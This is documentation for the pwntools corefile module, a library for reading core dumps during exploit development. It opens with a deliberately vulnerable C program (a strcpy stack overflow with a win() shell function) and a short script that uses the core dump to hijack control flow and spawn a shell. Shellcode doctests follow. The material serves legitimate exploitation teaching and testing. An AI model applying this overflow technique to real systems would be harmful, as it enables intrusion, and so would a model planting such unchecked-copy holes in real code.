pwnlib.elf.corefile — Core Files

Read information from Core Dumps.

Core dumps are extremely useful when writing exploits, even outside of the normal act of debugging things.

Using Corefiles to Automate Exploitation

For example, if you have a trivial buffer overflow and don’t want to open up a debugger or calculate offsets, you can use a generated core dump to extract the relevant information.

#include <string.h>
#include <stdlib.h>
#include <unistd.h>
void win() {
    system("sh");
}
int main(int argc, char** argv) {
    char buffer[64];
    strcpy(buffer, argv[1]);
}

$ gcc crash.c -m32 -o crash -fno-stack-protector

from pwn import *

# Generate a cyclic pattern so that we can auto-find the offset
payload = cyclic(128)

# Run the process once so that it crashes
process(['./crash', payload]).wait()

# Get the core dump
core = Coredump('./core')

# Our cyclic pattern should have been used as the crashing address
assert pack(core.eip) in payload

# Cool! Now let's just replace that value with the address of 'win'
crash = ELF('./crash')
payload = fit({
    cyclic_find(core.eip): crash.symbols.win
})

# Get a shell!
io = process(['./crash', payload])
io.sendline('id')
print io.recvline()
# uid=1000(user) gid=1000(user) groups=1000(user)

Module Members

class pwnlib.elf.corefile.Corefile(*a, **kw)

Bases: pwnlib.elf.elf.ELF

Enhances the inforation available about a corefile (which is an extension of the ELF format) by permitting extraction of information about the mapped data segments, and register state.

Registers can be accessed directly, e.g. via core_obj.eax and enumerated via Corefile.registers.

Parameters:core – Path to the core file. Alternately, may be a process instance, and the core file will be located automatically.

>>> c = Corefile('./core')
>>> hex(c.eax)
'0xfff5f2e0'
>>> c.registers
{'eax': 4294308576,
 'ebp': 1633771891,
 'ebx': 4151132160,
 'ecx': 4294311760,
 'edi': 0,
 'edx': 4294308700,
 'eflags': 66050,
 'eip': 1633771892,
 'esi': 0,
 'esp': 4294308656,
 'orig_eax': 4294967295,
 'xcs': 35,
 'xds': 43,
 'xes': 43,
 'xfs': 0,
 'xgs': 99,
 'xss': 43}

Mappings can be iterated in order via Corefile.mappings.

>>> Corefile('./core').mappings
[Mapping('/home/user/pwntools/crash', start=0x8048000, stop=0x8049000, size=0x1000, flags=0x5, page_offset=0x0),
 Mapping('/home/user/pwntools/crash', start=0x8049000, stop=0x804a000, size=0x1000, flags=0x4, page_offset=0x1),
 Mapping('/home/user/pwntools/crash', start=0x804a000, stop=0x804b000, size=0x1000, flags=0x6, page_offset=0x2),
 Mapping(None, start=0xf7528000, stop=0xf7529000, size=0x1000, flags=0x6, page_offset=0x0),
 Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf7529000, stop=0xf76d1000, size=0x1a8000, flags=0x5, page_offset=0x0),
 Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf76d1000, stop=0xf76d2000, size=0x1000, flags=0x0, page_offset=0x1a8),
 Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf76d2000, stop=0xf76d4000, size=0x2000, flags=0x4, page_offset=0x1a9),
 Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf76d4000, stop=0xf76d5000, size=0x1000, flags=0x6, page_offset=0x1aa),
 Mapping(None, start=0xf76d5000, stop=0xf76d8000, size=0x3000, flags=0x6, page_offset=0x0),
 Mapping(None, start=0xf76ef000, stop=0xf76f1000, size=0x2000, flags=0x6, page_offset=0x0),
 Mapping('[vdso]', start=0xf76f1000, stop=0xf76f2000, size=0x1000, flags=0x5, page_offset=0x0),
 Mapping('/lib/i386-linux-gnu/ld-2.19.so', start=0xf76f2000, stop=0xf7712000, size=0x20000, flags=0x5, page_offset=0x0),
 Mapping('/lib/i386-linux-gnu/ld-2.19.so', start=0xf7712000, stop=0xf7713000, size=0x1000, flags=0x4, page_offset=0x20),
 Mapping('/lib/i386-linux-gnu/ld-2.19.so', start=0xf7713000, stop=0xf7714000, size=0x1000, flags=0x6, page_offset=0x21),
 Mapping('[stack]', start=0xfff3e000, stop=0xfff61000, size=0x23000, flags=0x6, page_offset=0x0)]

Example

The Linux kernel may not overwrite an existing core-file.

>>> if os.path.exists('core'): os.unlink('core')

Let’s build an example binary which should eat R0=0xdeadbeef and PC=0xcafebabe.

If we run the binary and then wait for it to exit, we can get its core file.

>>> context.clear(arch='arm')
>>> shellcode = shellcraft.mov('r0', 0xdeadbeef)
>>> shellcode += shellcraft.mov('r1', 0xcafebabe)
>>> shellcode += 'bx r1'
>>> address = 0x41410000
>>> elf = ELF.from_assembly(shellcode, vma=address)
>>> io = elf.process(env={'HELLO': 'WORLD'})
>>> io.poll(block=True)
-11

You can specify a full path a la Corefile('/path/to/core'), but you can also just access the process.corefile attribute.

>>> core = io.corefile

The core file has a Corefile.exe property, which is a Mapping object. Each mapping can be accessed with virtual addresses via subscript, or contents can be examined via the Mapping.data attribute.

>>> core.exe.address == address
True

The core file also has registers which can be accessed direclty. Pseudo-registers pc and sp are available on all architectures, to make writing architecture-agnostic code more simple.

>>> core.pc == 0xcafebabe
True
>>> core.r0 == 0xdeadbeef
True
>>> core.sp == core.r13
True

We may not always know which signal caused the core dump, or what address caused a segmentation fault. Instead of accessing registers directly, we can also extract this information from the core dump.

On QEMU-generated core dumps, this information is unavailable, so we substitute the value of PC. In our example, that’s correct anyway.

>>> core.fault_addr == 0xcafebabe
True
>>> core.signal
11

Core files can also be generated from running processes. This requires GDB to be installed, and can only be done with native processes. Getting a “complete” corefile requires GDB 7.11 or better.

>>> elf = ELF('/bin/bash')
>>> context.clear(binary=elf)
>>> io = process(elf.path, env={'HELLO': 'WORLD'})
>>> core = io.corefile

Data can also be extracted directly from the corefile.

>>> core.exe[elf.address:elf.address+4]
'\x7fELF'
>>> core.exe.data[:4]
'\x7fELF'

Various other mappings are available by name. On Linux, 32-bit Intel binaries should have a VDSO section. Since our ELF is statically linked, there is no libc which gets mapped.

>>> core.vdso.data[:4]
'\x7fELF'
>>> core.libc 
Mapping('/lib/x86_64-linux-gnu/libc-...', ...)

The corefile also contains a Corefile.stack property, which gives us direct access to the stack contents. On Linux, the very top of the stack should contain two pointer-widths of NULL bytes, preceded by the NULL- terminated path to the executable (as passed via the first arg to execve).

>>> stack_end = core.exe.name
>>> stack_end += '\x00' * (1+8)
>>> core.stack.data.endswith(stack_end)
True
>>> len(core.stack.data) == core.stack.size
True

We can also directly access the environment variables and arguments.

>>> 'HELLO' in core.env
True
>>> core.getenv('HELLO')
'WORLD'
>>> core.argc
1
>>> core.argv[0] in core.stack
True
>>> core.string(core.argv[0]) == core.exe.path
True

Corefiles can also be pulled from remote machines via SSH!

>>> s = ssh('travis', 'example.pwnme')
>>> _ = s.set_working_directory()
>>> elf = ELF.from_assembly(shellcraft.trap())
>>> path = s.upload(elf.path)
>>> _ =s.chmod('+x', path)
>>> io = s.process(path)
>>> io.wait()
-1
>>> io.corefile.signal == signal.SIGTRAP 
True

Make sure fault_addr synthesis works for amd64 on ret.

>>> context.clear(arch='amd64')
>>> elf = ELF.from_assembly('push 1234; ret')
>>> io = elf.process()
>>> io.wait()
>>> io.corefile.fault_addr
1234

Tests:

These are extra tests not meant to serve as examples.

Corefile.getenv() works correctly, even if the environment variable’s value contains embedded ‘=’. Corefile is able to find the stack, even if the stack pointer doesn’t point at the stack.

>>> elf = ELF.from_assembly(shellcraft.crash())
>>> io = elf.process(env={'FOO': 'BAR=BAZ'})
>>> io.wait()
>>> core = io.corefile
>>> core.getenv('FOO')
'BAR=BAZ'
>>> core.sp == 0
True
>>> core.sp in core.stack
False

Corefile gracefully handles the stack being filled with garbage, including argc / argv / envp being overwritten.

>>> context.clear(arch='i386')
>>> assembly = '''
... LOOP:
...   mov dword ptr [esp], 0x41414141
...   pop eax
...   jmp LOOP
... '''
>>> elf = ELF.from_assembly(assembly)
>>> io = elf.process()
>>> io.wait()
>>> core = io.corefile
[!] End of the stack is corrupted, skipping stack parsing (got: 4141414141414141)
>>> core.argc, core.argv, core.env
(0, [], {})
>>> core.stack.data.endswith('AAAA')
True
>>> core.fault_addr == core.sp
True

debug(*a, **kw)

Open the corefile under a debugger.

getenv(name) → int

Read an environment variable off the stack, and return its contents.

Parameters:name (str) – Name of the environment variable to read. Returns:str – The contents of the environment variable.

Example

>>> elf = ELF.from_assembly(shellcraft.trap())
>>> io = elf.process(env={'GREETING': 'Hello!'})
>>> io.wait()
>>> io.corefile.getenv('GREETING')
'Hello!'

argc = None

Number of arguments passed

Type:int

argc_address = None

Pointer to argc on the stack

Type:int

argv = None

List of addresses of arguments on the stack.

Type:list

argv_address = None

Pointer to argv on the stack

Type:int

env = None

Environment variables read from the stack. Keys are the environment variable name, values are the memory address of the variable.

Note: Use with the ELF.string() method to extract them.

Note: If FOO=BAR is in the environment, self.env[‘FOO’] is the

address of the string “BARx00”.

Type:dict

envp_address = None

Pointer to envp on the stack

Type:int

exe

First mapping for the executable file.

Type:Mapping

fault_addr

Address which generated the fault, for the signals

SIGILL, SIGFPE, SIGSEGV, SIGBUS. This is only available in native core dumps created by the kernel. If the information is unavailable, this returns the address of the instruction pointer.

Example

>>> elf = ELF.from_assembly('mov eax, 0xdeadbeef; jmp eax', arch='i386')
>>> io = elf.process()
>>> io.wait()
>>> io.corefile.fault_addr == io.corefile.eax == 0xdeadbeef
True

Type:int

libc

First mapping for libc.so

Type:Mapping

mappings = None

Dictionary of memory mappings from address to name

Type:dict

maps

A printable string which is similar to /proc/xx/maps.

>>> print Corefile('./core').maps
8048000-8049000 r-xp 1000 /home/user/pwntools/crash
8049000-804a000 r--p 1000 /home/user/pwntools/crash
804a000-804b000 rw-p 1000 /home/user/pwntools/crash
f7528000-f7529000 rw-p 1000 None
f7529000-f76d1000 r-xp 1a8000 /lib/i386-linux-gnu/libc-2.19.so
f76d1000-f76d2000 ---p 1000 /lib/i386-linux-gnu/libc-2.19.so
f76d2000-f76d4000 r--p 2000 /lib/i386-linux-gnu/libc-2.19.so
f76d4000-f76d5000 rw-p 1000 /lib/i386-linux-gnu/libc-2.19.so
f76d5000-f76d8000 rw-p 3000 None
f76ef000-f76f1000 rw-p 2000 None
f76f1000-f76f2000 r-xp 1000 [vdso]
f76f2000-f7712000 r-xp 20000 /lib/i386-linux-gnu/ld-2.19.so
f7712000-f7713000 r--p 1000 /lib/i386-linux-gnu/ld-2.19.so
f7713000-f7714000 rw-p 1000 /lib/i386-linux-gnu/ld-2.19.so
fff3e000-fff61000 rw-p 23000 [stack]

Type:str

pc

The program counter for the Corefile

This is a cross-platform way to get e.g. core.eip, core.rip, etc.

Type:int

pid

PID of the process which created the core dump.

Type:int

ppid

Parent PID of the process which created the core dump.

Type:int

prpsinfo = None

The NT_PRPSINFO object

prstatus = None

The NT_PRSTATUS object.

registers

All available registers in the coredump.

Example

>>> elf = ELF.from_assembly('mov eax, 0xdeadbeef;' + shellcraft.trap(), arch='i386')
>>> io = elf.process()
>>> io.wait()
>>> io.corefile.registers['eax'] == 0xdeadbeef
True

Type:dict

siginfo = None

The NT_SIGINFO object

signal

Signal which caused the core to be dumped.

Example

>>> elf = ELF.from_assembly(shellcraft.trap())
>>> io = elf.process()
>>> io.wait()
>>> io.corefile.signal == signal.SIGTRAP
True

>>> elf = ELF.from_assembly(shellcraft.crash())
>>> io = elf.process()
>>> io.wait()
>>> io.corefile.signal == signal.SIGSEGV
True

Type:int

sp

The program counter for the Corefile

This is a cross-platform way to get e.g. core.esp, core.rsp, etc.

Type:int

stack = None

Address of the stack base

Type:int

vdso

Mapping for the vdso section

Type:Mapping

vsyscall

Mapping for the vsyscall section

Type:Mapping

vvar

Mapping for the vvar section

Type:Mapping

class pwnlib.elf.corefile.Mapping(core, name, start, stop, flags, page_offset)

Encapsulates information about a memory mapping in a Corefile.

find(sub, start=None, end=None)

Similar to str.find() but works on our address space

rfind(sub, start=None, end=None)

Similar to str.rfind() but works on our address space

address

Alias for Mapping.start.

Type:int

data

Memory of the mapping.

Type:str

flags = None

Mapping flags, using e.g. PROT_READ and so on.

Type:int

name = None

Name of the mapping, e.g. '/bin/bash' or '[vdso]'.

Type:str

page_offset = None

Offset in pages in the mapped file

Type:int

path

Alias for Mapping.name

Type:str

permstr

Human-readable memory permission string, e.g. r-xp.

Type:str

size = None

Size of the mapping, in bytes

Type:int

start = None

First mapped byte in the mapping

Type:int

stop = None

First byte after the end of hte mapping

Type:int